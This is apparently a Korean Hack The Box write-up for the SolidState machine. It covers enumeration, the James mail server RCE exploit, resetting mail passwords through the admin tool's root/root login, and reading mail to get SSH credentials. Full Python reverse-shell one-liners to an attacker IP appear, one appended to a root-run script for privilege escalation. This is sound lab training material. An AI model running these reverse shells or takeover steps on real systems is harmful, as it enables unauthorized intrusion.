nmap
22번 포트 ssh : id/pw가 있어야 접속할 수 있겠다.
25번 포트 smtp : JAMES smtp?
80번 포트 : apache http
110번 포트 : pop3
119번 포트 : nntp; 네트워크 뉴스 전송 프로토콜
gobuster
특별한 거 안나온다.
searchsploit james
RCE + 맞는 버전
그대로도 익스해보고 이렇게 리버스 쉘코드 삽입해서도 익스 시도해봄. 그러나 not working...
이 코드를 열어서 보고, 시도하다가 4445 포트가 열려있을 것이라고 추측했고, 다시 nmap -p-를 돌렸다.
처음으로 -p-가 제대로 쓰였던 순간
4555 james remote administration tool: 관리자 계정인가보다
35513.py(searchsploit)
이 adduser는 리눅스 명령어 adduser가 아니라 telnet으로 pop3 접속했을 때의 명령어라는 것을 나중에,, 알 수 있다.
이거 때문에 좀 헤맸다.
payload는 사용자가 로그인하면 실행되는 것으로 보인다. 때문에 먼저 이를 수행하는 방법을 찾아야 한다.
코드를 실행하면(결과적으로는 아무것도 일어나지 않지만) credential이 root/root임을 알 수 있다.
nc 10.10.10.51 4555
[*] listusers에 내가 삽질하면서 계속 시도했더니 user가 몇 개 더 추가되어있다. 디폴트는 james, thomas, john, mindy, mailadmin일 것이다.
관리자(4555포트)로 접속해 메일 사용자의 비밀번호를 다 바꿔버린 것이다.
그럼 메일 클라이언트로 다시 접속해보도록 한다.
telnet 10.10.10.51 110
아까 그 계정들로 하나씩 pop3 접속..
1. mindy
시스템에 액세스하기 위한 ssh credential이다.(mindy / P@55W0rd1!2@)
처음 로그인한 후 암호를 재설정하라.
현재 액세스가 제한되어 있으므로 supervisor에게 필요한 명령을 경로에 추가해 달라고 요청하라.
2. john
ssh mindy@10.10.10.51
엥 그냥 보인다..
하지만 cat /etc/passwd로 확인해보면 mindy의 shell은 /bin/rbash인 것을 확인할 수 있다.(restricted shell)
권한상승(내 풀이)
다른 풀이들을 보니까, 왜 저렇게 하는지.. 이해가 안갔다. 그래서 내 방식대로 해봤는데 됐다(?)
1. ssh mindy@10.10.10.51 -t bash //pseudo-tty 할당을 강제
2. python 있는 것을 확인
3-1. 로컬에서 nc -nlvp 1234 리스닝
3-2. python 리버스 쉘 붙기; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
4. mindy reverse shell 획득
5. 로컬에서 pspy32 가져오기(pspy64 갖다썼더니 안됐다.)
6. ./pspy32
6-1. 결과
7. 보니까 rm -r /tmp/* 에서 오류가 나면 sys.exit()인데 pspy32의 결과에서 rm -r /tmp/*가 잘 동작하는 것을 확인할 수 있다. 즉, 종료되지 않는다.
8. nc -nlvp 9999
8-2. echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' >> tmp.py
9. 루트 쉘 획득
searchsploit 35513.py를 이용한 풀이
payload 부분에 다음과 같이 리버스 쉘을 작성한다.
와중에 당연히 nc로 1234포트 리스닝 중이겠지
실행결과는 다음과 같다.
맨 마지막 줄에 payload will be executed once somebody logs in
앞에서 알아낸 mindy 정보로 ssh 접속
쉘이 따진 것을 볼 수 있다. 권한 상승부터는 내 풀이와 동일하다.
rkhal101님 풀이에서는 파이썬 스크립트에 있는 것을 하나씩 직접 쳐서 풀었다.
https://www.jtsec.es/blog-entry/48/road-to-oscp-hack-the-box-write-up-solidstate
jtsec | Blog | Road to OSCP - Hack The Box Write Up - Solidstate
Hack the Box Solidstate. OS: Linux. Difficulty: Medium. Points: 30. Our testers on their way to OSCP certification.
www.jtsec.es
GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation
Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.
github.com
'워게임 > hackthebox' 카테고리의 다른 글
poison 롸업 정리 (0) | 2021.09.22 |
---|---|
valentine 롸업 정리 (0) | 2021.09.20 |
nineveh 롸업 정리 (0) | 2021.09.15 |
cronos 롸업 정리 (0) | 2021.09.15 |
friendzone 롸업 정리 (0) | 2021.09.11 |
댓글